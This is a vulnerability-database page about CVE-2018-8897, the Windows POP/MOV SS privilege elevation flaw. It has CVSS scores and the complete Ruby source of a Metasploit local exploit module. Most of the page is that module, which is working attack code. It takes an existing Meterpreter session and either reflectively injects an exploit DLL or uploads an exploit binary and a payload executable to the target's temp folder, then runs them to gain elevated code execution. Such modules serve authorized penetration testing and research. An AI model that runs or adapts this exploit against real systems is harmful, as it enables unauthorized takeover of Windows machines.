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metasploitNick Peterson, Nemanja Mulasmajic, Can Bölük <can1357>, bwatters-r7MSF:EXPLOIT-WINDOWS-LOCAL-MOV_SS-
HistoryJul 13, 2018 - 6:11 a.m.

Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability

2018-07-1306:11:37
Nick Peterson, Nemanja Mulasmajic, Can Bölük <can1357>, bwatters-r7
www.rapid7.com
59

CVSS2

7.2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

31.1%

This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer’s manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Exploit::EXE
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
        'Description' => %q{
          This module exploits a vulnerability in a statement in the system programming guide
          of the Intel 64 and IA-32 architectures software developer's manual being mishandled
          in various operating system kerneles, resulting in unexpected behavior for #DB
          excpetions that are deferred by MOV SS or POP SS.

          This module will upload the pre-compiled exploit and use it to execute the final
          payload in order to gain remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Nick Peterson', # Original discovery (@nickeverdox)
          'Nemanja Mulasmajic',   # Original discovery (@0xNemi)
          'Can Bölük <can1357>',  # PoC
          'bwatters-r7'           # msf module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Windows x64', { 'Arch' => ARCH_X64 }]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2018-05-08',
        'References' => [
          ['CVE', '2018-8897'],
          ['EDB', '44697'],
          ['BID', '104071'],
          ['URL', 'https://github.com/can1357/CVE-2018-8897/'],
          ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
        ],
        'DefaultOptions' => {
          'DisablePayloadHandler' => false
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    register_options([
      OptBool.new('USE_INJECTION',
                  [true, 'Use in-memory dll injection rather than exe file uploads.', true]),
      OptString.new('EXPLOIT_NAME',
                    [false, 'The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).', nil]),
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).', nil]),
      OptString.new('PATH',
                    [false, 'Path to write binaries if if USE_INJECTION=false(%TEMP% by default).', nil]),
      OptInt.new('EXECUTE_DELAY',
                 [false, 'The number of seconds to delay before executing the exploit if USE_INJECTION=false', 3])
    ])
  end

  def setup
    super
    @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
    @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
    @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
    @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
    @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
    @payload_path = "#{temp_path}\\#{payload_name}"
    @exploit_path = "#{temp_path}\\#{exploit_name}"
    @payload_exe = generate_payload_exe
  end

  def validate_active_host
    print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    raise Msf::Exploit::Failed, 'Could not connect to session'
  end

  def validate_remote_path(path)
    unless directory?(path)
      fail_with(Failure::Unreachable, "#{path} does not exist on the target")
    end
  end

  def validate_target
    if sysinfo['Architecture'] != ARCH_X64
      fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
    end
    version = get_version_info
    if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP3)
      fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
    end
  end

  def ensure_clean_destination(path)
    if file?(path)
      print_status("#{path} already exists on the target. Deleting...")
      begin
        file_rm(path)
        print_status("Deleted #{path}")
      rescue Rex::Post::Meterpreter::RequestError => e
        elog(e)
        print_error("Unable to delete #{path}")
      end
    end
  end

  def ensure_clean_exploit_destination
    ensure_clean_destination(exploit_path)
  end

  def ensure_clean_payload_destination
    ensure_clean_destination(payload_path)
  end

  def upload_exploit
    local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'cve-2018-8897-exe.exe')
    upload_file(exploit_path, local_exploit_path)
    print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
  end

  def upload_payload
    write_file(payload_path, payload_exe)
    print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
  end

  def execute_exploit
    sleep(datastore['EXECUTE_DELAY'])
    print_status("Running exploit #{exploit_path} with payload #{payload_path}")
    output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
    vprint_status(output)
  end

  def exploit_dll
    print_status('Checking target...')
    validate_active_host
    validate_target
    print_status('Target looks good... reflectively injecting exploit DLL and triggering exploit!')
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897', 'reflective_dll.x64.dll'),
      encoded_payload
    )
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    print_error(e.message)
  end

  def exploit_exe
    validate_remote_path(temp_path)
    ensure_clean_exploit_destination
    ensure_clean_payload_destination
    upload_exploit
    upload_payload
    execute_exploit
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  rescue Rex::Post::Meterpreter::RequestError => e
    elog(e)
    print_error(e.message)
    ensure_clean_exploit_destination
    ensure_clean_payload_destination
  end

  def exploit
    validate_active_host
    validate_target
    if datastore['USE_INJECTION']
      exploit_dll
    else
      exploit_exe
    end
  end

  attr_reader :exploit_name, :payload_name, :payload_exe, :temp_path, :payload_path, :exploit_path
end

CVSS2

7.2

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:L/AC:L/Au:N/C:C/I:C/A:C

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

31.1%